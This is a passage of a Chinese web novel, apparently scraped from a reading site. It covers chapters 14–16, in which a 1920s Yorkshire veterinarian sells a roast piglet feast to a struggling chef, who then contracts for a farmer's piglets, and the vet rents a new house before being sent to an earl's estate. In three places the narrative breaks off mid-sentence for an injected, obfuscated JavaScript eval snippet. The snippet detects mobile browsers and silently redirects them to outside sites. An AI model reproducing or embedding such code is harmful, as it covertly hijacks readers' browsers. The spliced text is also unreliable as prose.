“不知道你为什么如此着急，伦丁先生。”饱腹感让林维伦显得懒洋洋的，他来到窗前，居高临下望着那一百英镑，感觉自己活像个恶劣的老鸨，在诓骗单蠢的纨绔子弟。 虽然他的确是故意的。 他想知道被逼急的厨师能做到哪一步。 现在，一切明了，至少价格让人满意。 “从前门进？” 于是胖厨师瞬间止住话头，犹如获得大赦般屁颠屁颠冲向前门。 巷子里不少孩子都警惕地盯着他，老费里刚刚打开房门，目光不善，“刚刚是你在吵么？伦丁？” 胖厨师立刻赔笑，“噢不不不，我和林格特先生有一点小小的误会。不过现在已经全部说开了，您完全可以放心。瞧啊，他在等我呐！抱歉，那我就先过去了哈。祝您今日愉快，费里先生。” 林维伦斜靠在敞开的门边，远远朝老人挥手，示意自己安全，并感谢关心。 老费里只能讪讪走了回去，将海啸似的香味隔绝在门外，然后和悲伤的阿尔玛对视。 “今晚恐怕蹭不到饭了。” 管家眼里的火熄灭了，“我看见伦丁的眼神了，太可怕了，他不会让我们碰到哪怕一点，和护崽的河马一样。不过或许明早我们也还有机会？他俩总不能全部吃完，如果我能舔一下盘子也是可以的。” 费里震惊了。 “阿尔玛！”他惊叫，“你的矜持呢！淑女不该说这种话！” “去他的淑女吧，”阿尔玛嗤之以鼻，“如果可以，我愿意佩戴长枪去伦丁嘴里把持得抢过来！每天只能闻闻味儿真的受够了！实在不行就让他搬——” 她转头盯紧老费里，片刻后又冷静下来，长长叹了口气，“抱歉，是我激动了。” 老费里在太太转身后张了张嘴，可什么也没说出来。 他知道阿尔玛想说什么，他们应该邀请小维伦住到诊所来，既能为那孩子省下一份房租，他们又能时常蹭到美味至极的烹饪。 可诊所没太多空房间，唯一剩下的一间是他儿子的房间——是波文·费里从小长到大生活的地方。 老人无法…..或者说不能，看着别人住进去。 他仍抱有某种期待。 于是幸福只降临在伦丁一个人身上。 胖厨师甚至丢弃了基本礼仪，不在意兽医吃完的那部分，直接用分餐刀切下一块烤猪脊塞进嘴里。 那一瞬间，伦丁感觉自己站在了热浪侵袭的非洲大草原，思维被最纯粹激烈的肉香麻痹。 只是轻轻一抿，乳猪的肉就在唇齿间融化开来。明明是拥有纤维的肉片，却嫩的仿佛云朵，还是一捏就会爆汁的云朵。 不断喷溅在口中的肉汁比美人鱼的银水更让人沉沦，胃部被拉扯着往下坠落，然后又被反复回味的香气温柔托起。 胖厨师迟钝地抬眼，“这是你….你做的？” 年轻兽医好整以暇地望着他，“还有核桃面包，来自玛姬女士的面包房，搭配着吃更能体会到深层次的味道。哦对了，别把舌头也一起咽下去了。” 伦丁飞快抬头，又立刻垂下，胡乱吃下两口面包后，又迫不及待地叉起一块乳猪肉。 而这次，他发现手边摆着一小碟奇怪的酱料。 “这是什么？”100英镑的语气有些飘飘忽忽的。 “烤肉蘸酱。”林维伦给自己泡了杯柠檬水，加了一点橘子皮和薰衣草。 蘸酱用的是磨碎的榛果、胡桃、杜松子、青梅和橙皮混合后，再加入一点点桶陈苹果酒和盐制作而成的。 桶陈苹果酒一般人不太愿意喝。因为经过木桶长久熟化，风味太复杂了，有种木调的香草气息。 许多绅士嫌弃这味道上不得台面，所以酒铺常年打折。 可正是这样的气息，却和炙烤蘸料非常适配。从火中来，最后被木香收尾，像抱着乳猪的灵魂沉进森林。 他随手买了点，为的是给盛宴增加不同风味。 只是窗外偷看的家伙太矮，所以才没有注意到。 当然，还是那句话，100英镑可不够购买配方的。 允许胖厨师尝一尝，都只因为自己确实缺钱而已。 伦丁舀了一勺到自己盘里，虔诚地用叉子蘸了蘸，没有用任何肉做媒介，只用舌尖单纯地品尝了这从未听过的酱料。 然后，他将脸深深埋进掌心。 “噢….我的上帝啊…..” 伦丁居然哭了。 一开始只是无声流泪，接着不知道想起了什么，动静越来越大，最后竟然变成嚎啕大哭。 “你到底是谁….你究竟是什么人！是谁教了你这些….为什么….为什么我不会！凭什么是你这样的人…凭什么啊！！而且你还他妈是个兽医！！！不、不对….还好你他妈不是个厨师…..” 胖胖的手胡乱抹了一下脸，似乎觉得自己目前的行为无比丢人，伦丁动作粗暴地如同要将整张脸都撕开，可长时间的压抑，让他在如同被圣光洗礼过的味道面前彻底破防了。 伦丁是德纳姆镇人，他的父母是千千万万农夫中的两个，还是不那么成功的两个。 他从小就厌倦了铲大粪、拌饲料、打扫羊舍、被公羊踹，立志要走出去，死都不会做回农夫。 可农夫的孩子能接触到的职业没有多少，8岁起伦丁就跟着镇上一位厨师干活儿了。 他攒了13年的钱，终于攒够了前往威尔士郡学习的钱。 伦敦不是一个小镇孩子能肖想的，他只能抱住威尔士的老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15412840|168832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师死死不松手。 再回到德纳姆镇时，伦丁花光全部家当，拉起了两张桌子的小餐馆。 天知道他付出多少，才研究出香草煎鸡——他的招牌菜。 也是凭借这道菜，他才把狐狸与猎犬拉扯到如今的规模，还获得了伯爵的青睐。 前半生的心血全部扑在烹饪上，然而现在，一桌能轻松颠覆整个英格兰的味道就摆在他面前。 正因为一直是厨师，伦丁才明白今天这一顿有多么珍贵。 他无比嫉妒。 又无比震撼。 100英镑？简直是上帝的善良。 别说能做出一模一样的味道，就算他只能复原这桌十分之一的美味，他的酒馆一定能傲视整个约克夏郡！ 到时候菲利普伯爵恐怕都得老老实实滚去排队！或者支付更高昂的价格来邀请他！ 等等….伦丁倏地一愣。 如果是伯爵先生……愿意为此支付多少钱？ 如果没记错，菲利普的庄园过不了多久就会举办秋日宴了，到时候不少贵族和上流人士都会接到邀请。 只有蠢货才会以为那只是个简单的宴会。 胖厨师终于止住了眼泪。 模糊中，他发现年轻兽医的脸在发光，如同天使降临。 伦丁第一次在人生中如此感谢上帝垂爱。 “我还没有被放弃，我还有机会，唯一的机会就在眼前，而我只花了仅仅100英镑。”他如此想着，眼眶差点再次湿润。 为了不暴露脸上的表情，伦丁把头埋进碗里，开始旁敲侧击套话。 “这乳猪肉真的太嫩了！”他拿捏着合适的语气，“这是你在哪家摊位上买的？我怎么每次买到的猪肉都比这个柴还硬？你不肯告诉我配方，原料的购买地总能说吧？” “这不是买的。”林维伦嘴里都是薰衣草的味道，宁静优雅。 他说，“这是跛脚昆的乳猪，不过因为母猪生产时出了问题，他把乳猪交给了我。” “噗！”伦丁在喷出来前用手挡住了嘴，眼睛瞪的像牛。 “你说什么？！”他愕然张大嘴巴，“你你你你的意思是…..这是——你的——顾客？” 林维伦闲散地晃动杯子，“所以好吃么？” 伦丁眼睛已经完全瞪圆了，“这可是你的顾客！你怎么能吃掉你的顾客？！拜托你他…..林格特先生，你你你你怎么能干这种事？！” 在胖厨师的印象里，兽医全是一群善心泛滥的家伙。路边的野猫舌头烫了他们都得扑上去给吹吹。 但林格特呢？ 伦丁脑海里只有他一刀宰掉猪崽的画面，而且—— 伦丁环顾四周，后知后觉发现，这位兽医先生放血的技术实在太高超，下刀的位置根本没让血溅出来一点，全好好接到大盆里。 或许是自己的表情太过惊悚，对面的人竟然笑出了声。 “我照顾了它两个星期，”林维伦慢条斯理，“一只先天性心脏衰竭的猪崽，吃掉是一种尊重，否则就是谋杀。” 伦丁愣愣地看着他，表情像是第一次从妓.女床上爬下来的纯情小子。 “行了，看在英镑的面子上，”林维伦轻轻敲击桌面，伸出一根手指，“1个忠告:跛脚昆的猪肉甩集市上的几条街，他的品种足够吊打任何进口肉。进口肉除了廉价找不出任何优点，如果你还在意你的酒馆，最好放弃低廉的源头。” “人们只愿意为能看得到的优质付钱，人们不是傻逼。” 14. 第 14 章 “人们只愿意为看得到的优质付钱。” “人们不是傻逼。” 伦丁握着刀叉，足足愣了几个世纪那么长。 他脑海里隐隐约约闪过些什么东西，可很快就被名为“自尊心”的玩意儿倾覆了。 “你知道什么？”胖厨师恶狠狠撕下一大块肉，“要想挣钱，必须要压缩成本！你去看看哪个店铺没有在压缩成本？酿酒厂连葡萄都不洗！铁矿厂的废气全靠工人呼吸净化！” “我只是用了点比较便宜的原材料而已，难道人们不该为账单上足以承受的价格欢呼么？！” 林维伦好整以暇倚靠在椅背上，语气轻松，“那你为什么还坐在这里？为什么没在你的酒馆里忙来忙去？” 伦丁表情一僵。 ……是啊，压缩成本，一味追求廉价原料的后果他已经尝到了。 病鸡事件仅仅过去一星期，他的酒馆就已经辞退了三个人，并且没有停止的趋势。 这真的是他想要的吗？ 林维伦不在意对面人的头脑风暴，他也无意给别人描绘心灵鸡汤。 只是吃的太撑，又赚了不少，所以才有闲心多说两句。 再多的，就不在“善良”的范围内了。 刚巧这时，烤炉的热度终于停止。 低温慢烤的乳猪腿仿佛出土的巨大金块，散发着让人情动的味道。 林维伦起身，戴上隔热手套将托盘拿了出来。 那被烘烤过后的香气瞬间炸开，有不少孩子忍不住贴到墙根，被眼疾手快地护崽厨师赶走。 “这些都是我的，对不对？”伦丁在夏季最炎热的时候关紧门窗，紧张又警惕地盯着眼前人，野猫似的炸毛，“我付了….付了钱！” “是的，确实如此。”林维伦已经吃饱了，原本他想把两条猪腿送到诊所去，不过看在100英镑的份儿上。 费里先生和阿尔玛太太应该不介意猪腿换成内脏。 然后，林维伦见识到了什么叫“搜刮”。 乳猪的脊身两人只干掉一半，剩下的一半被装进提篮，连长长的铁扦都被一起打包。 更别说承载猪腿的托盘和青梅果酒酱与蜜瓜盅了，如果不是烤炉实在太大，恐怕伦丁都会把滴上油滴的烤炉一起带走。 当然，还有厨房里的垃圾袋也加入了战利品行列。 “看在100英镑的份儿上。”林维伦闻了闻纸币上散发的油墨香，闲适地观赏胖厨师自愿帮忙打扫卫生。 他太明白胖厨师想干什么了，曾经的他也没少偷偷翻师傅的垃圾桶，只为了拼凑出隐匿的配料表。 不过哪有那么简单呢？“适量”是需要花费一生去攻克的难题。 他只知道自己明天可以去换一间新房子了。 事实就像林维伦预料的那样。 伦丁提着被棉布狠狠包裹的超大篮子走回酒馆。 他没有去看只有苍蝇光顾的大堂，径直走向后方的厨房。 酒馆已经没什么客人了，底下的学徒们和服务生凑到一起在仓库打牌，厨房里连洗碗工都没在。 不过这刚好方便了伦丁。 小心翼翼从篮子里取出一条乳猪腿放进烤炉温好，再将青梅酱分装，之后把剩下的猪腿与猪脊身装盘，开始一小口一小口仔细品尝。 “有大蒜和洋葱末的味道，还有一点点辣。他是用什么调味的？辣椒粉？还是辣味酱油？还是韭葱根茎？”伦丁抓了抓布满薄汗的脑袋，再笔记本上刷刷记录着，“还有一点点果香…..不是橘or橙，是梨？波士梨还是法国梨？还有这些。” 垃圾袋被翻开，伦丁毫不嫌弃从中捡出了榛果壳和烂了没有用上的杜松子。 即使手掌满是赃污也无所谓，他满眼放光迅速记录一切。 就像回归到在威尔士郡的那一年，伦丁每天都抓耳挠腮，无时无刻不使用着脑袋，去记下师傅的每一个步骤，每一次调味。 然后一一尝试。 厨房里就有之前储存的猪肉，从集市购入，的确是糟烂的口感，但这刚好可以用来做实验。 狐狸与猎犬酒馆上空，再次飘起飘渺薄烟。 “对了，还有最重要的！”伦丁丢下笔，急匆匆跑上轿车，直奔跛脚昆的家。 “您说…..什么？”昆扔掉手里的干面包，扶着椅子起身时差点打翻桌上的扁豆汤。 他结结巴巴的，手都不知道要放哪里，“要、要预定走我家全部的猪？” “没错！”伦丁脑海里还在构筑炙烤乳猪的食谱，可他鼻子里全是木料发霉的味道，这让他难以专心。 “你就不能好好修善一下你家的房子么？”胖厨师忍不住捂起鼻子，“再下两场雨，那条横梁恐怕就要被霉菌吃空了！” 跛脚昆脸上闪过一丝尴尬，只能赔着笑，“真是、真是抱歉，可您也知道，最近两年我们的羊很不景气，否则我也不会试着养一养猪…..” “行了行了，”伦丁不耐烦地打断了他的话，“我没有时间浪费在这里——1先令3便士一磅，这是我能给的最高的价格。” “什么？！”昆的妻子忍不住尖叫出声，这快和集市上的零售价格差不多了！ 集市上的猪肉才只有1先令7便士！ 昆懵掉了，“您、您确定吗？” 如果他们直接卖到屠宰场，依照现在被进口肉冲击的行情，屠宰场会拼命下压收购价。 扣除掉屠宰和运输的费用，他们最多只能卖上8便士/磅，还不一定有屠宰场愿意收。 “可我不要大猪，我只要30-60天的未断奶猪。”伦丁从马甲口袋里掏出怀表，“如果同意这个价格，你们最好从现在就开始准备起来。” “不过我有个要求，这一批猪崽只能卖给我一个人，懂了吗？我不想让你家的猪肉出现在其他家的餐桌上。而且你们还得配合我一起宣传。” 想要最快速消除病鸡事件带来的负面影响，最好的办法就是和菲利普伯爵学习，把厨房搬到客人的脸上。 让他们真真切切看到最好的品质，那些该死的家伙总可以付钱了吧？ 伦丁不断敲着手肘，“怎么样？到底行不行？” 没什么同不同意的，夫妻俩面面相觑。 昆已经去了镇上好几次，没有一家采购商愿意购买他们的猪肉。就算真有人对品种和饲养方式感兴趣，也会因为猪崽数量太少而直接拒绝。 可他们已经没有余钱去买新的母猪了。 至于本地的集市……进口猪肉的价格已经低到6.5便士了，连饲料钱都赚不回来。 更别提几个月之后的光景会变成什么样。 虽然满月的猪崽不太大，但相对应的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15412841|168832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饲料也无需花费太多钱。 跛脚昆脸红红的，立刻瘸着去找纸笔计算。 “小水仙一共生了5只雌猪，6只公猪。雌崽一般都能长到36-53磅左右，公崽可以达到40-67磅…..那我们至少就能拿到…..” “40英镑，”伦丁又看了一眼怀表，声音有些艰难——那可是好大一笔钱——但努力让自己维持傲慢和镇定，“至少。” 妻子眼白一翻，差点直接晕倒。 昆则拼命去擦脸上的汗。 如果养六个月到猪崽出栏（约200斤）的时间，按照目前的行情，他可能也只能拿到80英镑左右，还是能顺顺利利卖得出去的情况。 如果到时间无法全部售出，那么这价格还得继续往下压。 而这中间花费的饲料、看病、出栏前的健康检查全都是钱。 “我们卖！”接触到胖厨师的表情，跛脚昆忙不迭点头，随即小心翼翼开口，不过…..能冒昧问一下吗？之前您严厉拒绝我们…..为什么现在….会突然要包下所有的小猪呢？” “当然是已经尝过味道——”说到这，伦丁突然停顿。 ……糟糕，一不小心说漏嘴，他根本无意将年轻兽医拖出来。 那可是颗金蛋！绝对不能出任何差错！ 所以他立刻转移话题，不耐烦地拍拍桌子，“问这么多干什么？同意的话快点在这里签字！” 等拿到合约协议，胖厨师立刻就走，只留下昆和木讷的妻子对视。 两人完全不明白“已经尝过味道”是什么意思。 “咱家小水仙只生了十一只猪崽啊….”妻子小声说，“都健健康康的在猪舍呢，我可没有偷卖过。” “我也没卖过！” 哦等等，昆刚说完，不太灵光的脑子忽然反应过来。 小水仙哪是生了十一只，明明是十二只！ 只是有一只被善良的兽医带走……说是无法救活….. 那么问题来了，两人同时从对方眼里看出疑惑，林格特先生不是说猪崽死了么？ “难不成…..”昆尝试猜测，“林格特骗了我，他其实是把猪崽吃掉了？” 妻子反应慢了半拍，“不会的….林格特先生多么善良，肯定不会做这种事。或许是伦丁自己挖出来吃掉了。” 昆挠挠脑袋，上帝啊，他连小学都没念完，为什么刚刚伦丁不干脆说明白点呢？ 如果知道因为什么能把猪崽卖出去，他们家滞销的羊说不定也有机会。 “算了。”妻子摇摇头，她不愿意去想这么复杂的事，索性去收拾厨房。 昆独自纠结了半天，最后决定去找他的朋友问一问。 朋友住的离他并不算远，走路三十分钟就能到。 而且朋友的农场前一阵出了状况，已经休息很久了。现在去，准能找到他。 “给我炸点蚕豆。”跛脚的农夫朝厨房喊了一声，妻子不情不愿去掏储藏罐，抓了一大把蚕豆扔进锅。 “太多了….”她嘟囔着，偷偷回头看一眼，见没人注意，又捡回来一些，这才烧火并挖出一点猪油。 昆带着洒满糖霜的蚕豆抵达时，果然看见他的朋友闷坐在空了不少的牛舍里。 “嗨，费迪！”昆打了个招呼，“你家得了脑包虫病的牛已经全被弄死了吗？” 15.第 15 章 “滚开！昆！”费迪南德咆哮着挥舞拳头，“趁我没把你另一条腿打断之前，滚出去！“ “别这样，我可是来和你分享好消息的。”将炸蚕豆递过去，昆一瘸一拐坐在了魁梧的男人旁边。 费迪南德张了张嘴又闭上，闷堵的心情被微弱的希望所取代。 “真的？”他有点不敢相信地问，“难道政府对我的补偿提升了么？我能拿到多少？10英镑？12英镑？” “哦当然不是这个，”昆拍了一下好兄弟的肩膀大笑，“是刚刚伦丁先生——就是狐狸与猎犬酒馆的厨师跑到我家，要买下我家全部的猪崽！每磅足足有1先令还多！只是有一个问….” 费迪南德：……. “昆！”他瞬间暴跳如雷，提着对方的领子瞬间把人拽了起来，“我一定要打碎你的脑袋！我保证！” “额嘿！朋友！冷静！”昆慌忙说道，“你先听我把话说完！我正是因为想不明白才来找你的！” 费迪南德死死盯着他好几秒，才愤让人放手，“你他妈是个智障，我知道。赶紧说，你有什么想不明白的？” 昆老老实实把事情说了，“我真的不懂，明明已经死掉的猪崽，又怎么会被伦丁吃到？别是他找错了人家。” 因为听见了仇恨的名字，费迪南德的眼神变得更加阴鸷，“你傻么蠢货！这只能是那黑心的兽医吃掉了你的猪崽！不，不仅他自己吃了，他还宴请了别人！你被坑了！笨蛋！” 昆愣愣地看着朋友，迟钝地反应了半天，“噢上帝啊…..这可真是…..” “听我说，”费迪南德眼睛一转，突然变得友好起来，“你必须去找他要赔偿，昆。去他的诊所，当着所有顾客的面儿，大声、愤怒的和他要赔偿，把他的名誉狠狠踩在地上！让所有顾客都担心自己的动物会不会被吃掉，这能让他彻底滚出德纳姆镇！” “什么？不，不。” 可出乎费迪南德所料，昆连连摇头，激动地不停搓手，“你在说什么啊费迪？我那头猪崽根本活不下来。如果林格特吃掉了它，也没什么关系。倒不如说，我应该感谢他。兄弟，我可是整整卖了40英镑！只需要在养一个多月！林格特简直是上帝派来的天使！” 说到这，昆想起什么，猛然跳了起来，“嘿！没错！你说的对，如果他愿意吃，那我应该把我家的羊羔也送过去！还得挑一只生病的！没准儿他就爱这一口！” 跛脚的农夫无比憧憬，“如果他能把羊羔也吃掉，我的羊说不定也会被写入收购单！” 说完，昆一瘸一拐快速跑走远。 只留下呆滞的费迪南德，脸越来越绿。 “疯了…..都他妈疯了！昆，再靠近他一定有你后悔的时候！” - 进入八月，英格兰的夏季终于迎来终末。 阴云和风雨开始频繁光顾，长袖衬衫和西装外套终于不会成为禁锢。 这让看房子这件事变得美好又让人充满期待。 林维伦花了一周的午休时间，和房屋代理人转遍了诊所周围出租的房屋。 最终定下了一间独栋小楼。 那是一个维多利亚风格强烈的建筑，黑瓦，白墙，坡屋顶。一共三层，有一个尖尖角的小阁楼，窗户是木制的栅栏结构。 内部安置了暖炉，橡木地板上铺着柔软的毛毯。 厨房的燃气灶达到了四个，宽敞的厨台干净透亮，烤炉嵌入其中。 独立浴室里安装了浴缸，林维伦再也不需要用盆给自己冲澡了。 而且这栋房子自带一个小小庭院，篱笆扎的很漂亮，爬藤和牵牛花缠绕在上面，像绿色的五线谱。 原主人搬去了美利坚，已经很久没有回来。 不过房屋代理人尤利西斯是位极度负责任的先生，他总是来到这里，帮忙做些打扫的简单活计。 这也是庭院没有变成野草林的原因。 不过这些都不是他选择的原因。 最重要的是，房子所处的地理位置非常好，在三条正街的街□□汇处，和狐狸与猎犬酒馆遥遥相望，后方就是费里诊所的那条小巷。 这里人流量大，在街道狭窄的20世纪初，每一辆车几乎都要从这里驶过。 “原本院子里种了不少覆盆子和草莓，不过荒废太久了，估计都被野草吃空了。”尤利西斯说，“如果你愿意，可以聘请懂种植的女士来帮忙，她们对这些很有一手。” 说到这，房屋代理人不经意似的打开随身携带的记录本，“我刚巧认识那么几位，如果您有需要，可以随时找我。当然，无论房子内的家具有任何损坏，您也可以随时联系我。” 林维伦点头表示知道，然后爽快付钱。 月租金4英镑，是上一间小屋的4倍，他直接付了6个月的钱，总计24英镑。 尤利西斯对此大喜过望，要知道德纳姆镇能如此阔绰的人非常少见。 这笔生意他能赚到极为不菲的佣金，所以他直接按照原房主的意愿直接多赠送了两个月的租期。 双方都非常满意。 “您一定是从外地来的，”代理人热情如火，连眼睛都变成了英镑的形状。 “可不知道为什么，我看着您的脸感觉非常熟悉。一定是您太过英俊的原因，和画像上的大人物们特别像。哦对了，您需要购买家具或厨具什么的吗？我知道几个不错的地方——” 原本听见“家具”，林维伦并没有什么兴趣。 但厨具他可就有时间了。 搬新家怎么能不买把好刀庆祝一下呢？ 最好锋利一点的，现在的切刀还是阿尔玛太太送过来的，年头很久了，也不怎么趁手。 上次放血，溅的到处都是。 了解金主的需求，尤利西斯更加精神抖擞起来。 “请您跟我来，我们可以去城镇中心的百货商店，那里有不少好东西，连进口货都能找到。” 两人边聊边走，路过狐狸与猎犬时，同时被一阵吆喝声吸引。 两名服务生似乎在宣讲新式主打菜品，漂亮的玻璃门上贴着一头萌猪宣传画，上面还写着几个广告词。 “现场观看乳猪的屠宰？无与伦比的炙烤之香？连上帝都垂涎的美味？噢老天！”尤利西斯连退好几步，被恶心的不轻，“伦丁还没有放弃么？明明做了那么过分的事，还指望东山再起？简直愚蠢。” 林维伦意味深长望向酒馆内，里面似乎正在重整装潢，为即将到来的命运作准备。 虽然从头到尾有些稚嫩且蹩脚，不过不可否认，伦丁已经在此次危机中，抓住了“噱头公关”的核心，也就同时抓住了唯一一个改变的机会。 一个精明的商人，懂得变通的投机者。 林维伦几乎能想到，那即将面向所有顾客被宰杀的猪来自于哪里。 这是个好消息，证明伦丁不是个蠢人。 那么这100英镑也不会是结束，恰恰相反，这是真正的开始。 他收回目光，提醒喋喋不休抒发厌恶的代理人，“能麻烦快一点吗？尤利西斯先生，我下午还很忙。” “噢，真是…真是抱歉。”尤利西斯连忙恢复殷勤，立刻带着人向前。 购物并没有花费太多时间，毕竟不用衡量兜里的剩余。再加上经验，很快林维伦就提了一个纸袋回到诊所。 他买到了全套质量上乘的刀具，还有不少调味制品。新房子有个超棒的地窖，足以存储下任何东西。 不止如此，林维伦还买了不少种子——那片庭院他可不想浪费掉。 覆盆子和草莓很不错，再加点韭葱、西葫芦、羽衣甘蓝之类的蔬菜，就更不错。 哦对，还有不能忘记的紫葡萄，就是没地方再给他种颗橘子树了。 这些一共花掉他7个英镑，不过他没让任何人看见。 可依旧有人表达了谴责。 “你才刚刚工作不满一个月。”老费里实在无法理解，三个星期的薪水满打满算才只有7.5英镑，林格特怎么敢去租一个月4英镑的房子。 不吃不喝了？衣服也不穿了？ 瞧瞧他，连鞋都是从二手店买来的打折货，怎么就敢去租一栋楼呢？ “如果你实在不喜欢那个小房子，”阿尔玛太太将预定本放在桌上，担忧地建议，“可以去看看公寓，环境要好一些，价格也没有很贵。就是需要和别人一起租住，可是能满足不少生活要求。” “我之前上学的时候一直在好好打工，”林维伦婉拒了合租的提议，“手里还有一些积蓄。谢谢您的关心，不过我还可以负担。” “你以后还要结婚！”费里对“积蓄”二字嗤之以鼻，“一二十英镑根本算不上什么！” 一个孤儿，勤工俭学能赚到多少？又能攒下多少？ 这些年轻人，根本就不知道未雨绸缪！ 林维伦笑了一下，没反驳，只是从随身的提篮里拿出一个玻璃壶。 “刚刚在百货商店买到了很不错的朗姆酒和草莓，”他取来三个杯子，“所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15416568|168832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抽空煮在新家煮了一壶，希望你们能和我一起分享喜悦。” 费里咽回去了接下来的话，眼睛直勾勾盯着壶里晃动的红色液体，“这是什么？” “桑格利亚冷红酒，源自于西班牙的味道，”林维伦为两人倒满，“只是我多加了一些东西，柠檬片，苹果片，蓝莓和草莓碎，和干红葡萄酒加朗姆酒一起煮，之后倒入橙汁与柠檬汁，再用蜂蜜调味，冰一下就可以。” 其实加点苏打水味道会更上一个层次，但请原谅物资匮乏的1928年吧。 玻璃壶里加了冰块，凉凉水汽顺着饱满的壶身往下滴。 配上浮浮沉沉的水果，老人和管家只觉得喉咙在疯狂分泌口水。 这种期待甚至让他忽略了为什么一个孤儿去过西班牙。 阿尔玛率先抿了一口，身子不由得颤栗了一下。 这是什么美丽的味道？甜度与酸度维持的刚刚好，水果的香气完美融入进混合酒发酵过的味道中，又因为烹煮过，酒液里甚至能品出淡淡的木草香，仿佛置身于法国历史悠久的葡萄庄园。 而且不知道发生了什么化学反应，原本有些干涩的红葡萄酒此时此刻却顺的不像话，当酒液顺流而下时，那赶紧像古老东方名叫丝绸的东西滑过喉咙。 虽然上班时间不应该饮酒，可这样一杯….. 阿尔玛又闭起眼睛喝了一大口，连神父都不会拒绝。 老费里更是早就沉醉其中，一颗又一颗蓝莓被酒液深深浸入，表皮发生了某些化学反应，变得更加软滑且饱满。几乎不用轻咬，仅仅只是含着，用舌头来回卷着，就能感受到内里的汁液海浪般溢散而出，将喉咙食道冲刷喜的无比湿润。 “你为什么不是个厨师呢？”老人忍不住发出感慨，“女王都会为这一杯神魂颠倒的。” “现在您是否高兴些了？”年轻兽医又给自己倒了一杯，“而且我的新房子里有电话，夜诊我也可以去了，您以后不需要独自承担。” 费里一噎，惊讶扭头看向阿尔玛。 “不是我说的，”管家太太目露赞赏，“他恐怕早就知道你独自出夜诊，只想让初出茅庐的小家伙睡个好觉的事了。我说什么来着？你聘用到了最好的人，先生。” “…..阿尔玛，请不要揶揄我，如果你还知道谁是你的雇主。”老人从鼻子里发出一声哼，掩饰什么似的起身从壶中夹出苹果片放进自己的杯里。 就在这时，他无意扫到了一个熟悉的名字，“菲利普伯爵？” “是的，”管家太太完全不在意老人的态度，她已经在诊所工作了十三年，和费里其实更像朋友，“赛马季就要来了，伯爵昨天打来电话，希望我们能为他的马儿做一些常规检查，确保在赛场上不会出现问题。” 费里有些奇怪，“伯爵不是拥有一位贴身兽医？” “谁知道呢？”管家耸耸肩，“可能他们吵架了，分道扬镳了。也可能那位兽医失误了，你知道的，费里，他们有钱人就是如此难以捉摸。” “总之这对我们来说是一个顶好的机会，你俩看见伯爵给出的价格一定会抱在一起跳舞。先生，请记住明天上午十点之前，一定要出现在菲利普庄园。” 赛马季，林维伦对此只了解一点。 前世他在伦敦游学的时候，也被当地的朋友拉着观看过几次。 那是一项古老而传统的活动，纯粹的竞技，包括□□在内，每一个环节都让人肾上腺素飙升。 当然，这种活动通常由上流社会承办——也只能由上流社会承办，无论是赛马还是那些家伙，全都是难伺候的主。 似乎看出他内心的想法，阿尔玛适时解释，“每年的9月都是约克夏郡的赛马季，大大小小的赛事非常多。其中一大部分都由菲利普伯爵牵头主办。只是伯爵一直有自己的固定兽医，就住在他的庄园。不知道为什么今年突然联系我们。我会修改一下明天的预定的，维伦，看来明天你要多辛苦一点了。” 林维伦点点头，“没有问题。” 虽然才来了一个多月，可他的好评率一直都是百分百，甚至已经开始有不少回头客了。 至于伯爵——拜托，人总得找准自己的位置。 那就像一家店铺的金奖杯，是可以把签名裱起来挂在大门上的那种，没有哪个老板会把这种好事让给员工，除非老板脑子里塞满湿羊毛。 “林格特，”就在这时，老费里忽然开口，“你去准备一下，明天伯爵那边，你去。” 林维伦动作倏的一顿。 16.第 16 章 连阿尔玛一瞬间露出的神情也是震惊的。 菲利普伯爵就是个活招牌，可以说某些时候远比政府的青睐还要值钱。 是字面意义上那种“值钱”。 这样一个金大腿，谁都会想要牢牢攥在自己手里，绝对不想让给任何人。 然而老人就这样直白的把门打开了，为了一个刚来一个多月的助手。 “这样看我干什么？”费里白了林维伦一眼，“你代表的可是费里诊所，千万不要给我出任何差错，明白么？” “噢，邓普斯…..”阿尔玛眨了眨眼睛，“你善良的像精灵，我实在太感动了。” “那能在午餐里加点杜松子酒么？”费里蹬鼻子上脸，“或者黑啤也可以。” 阿尔玛立刻严肃起来，“请注意你的言行！先生！工作时间禁止饮酒！” 然而她才刚说完，就意识到自己手里正捧着一杯。 太太脸色瞬间变得尴尬，好在贴心的好孩子很快为她解了围。 “我没有加很多酒，大部分都是橙汁和柠檬汁，”林维伦举起手，“您可以把这看成混合饮料。” 于是阿尔玛恢复了凶巴巴的模样，底气充足，“除了林格特带来的！” 很快，下午茶时间就结束了。 第一批预定的客人已经快要到了，在那之前管家必须准备好茶点，还要拢清楚上个月的账单。 总有一些不积极的家伙拖欠诊金，每到月初，兼职会计的管家都会为要账大感头疼。 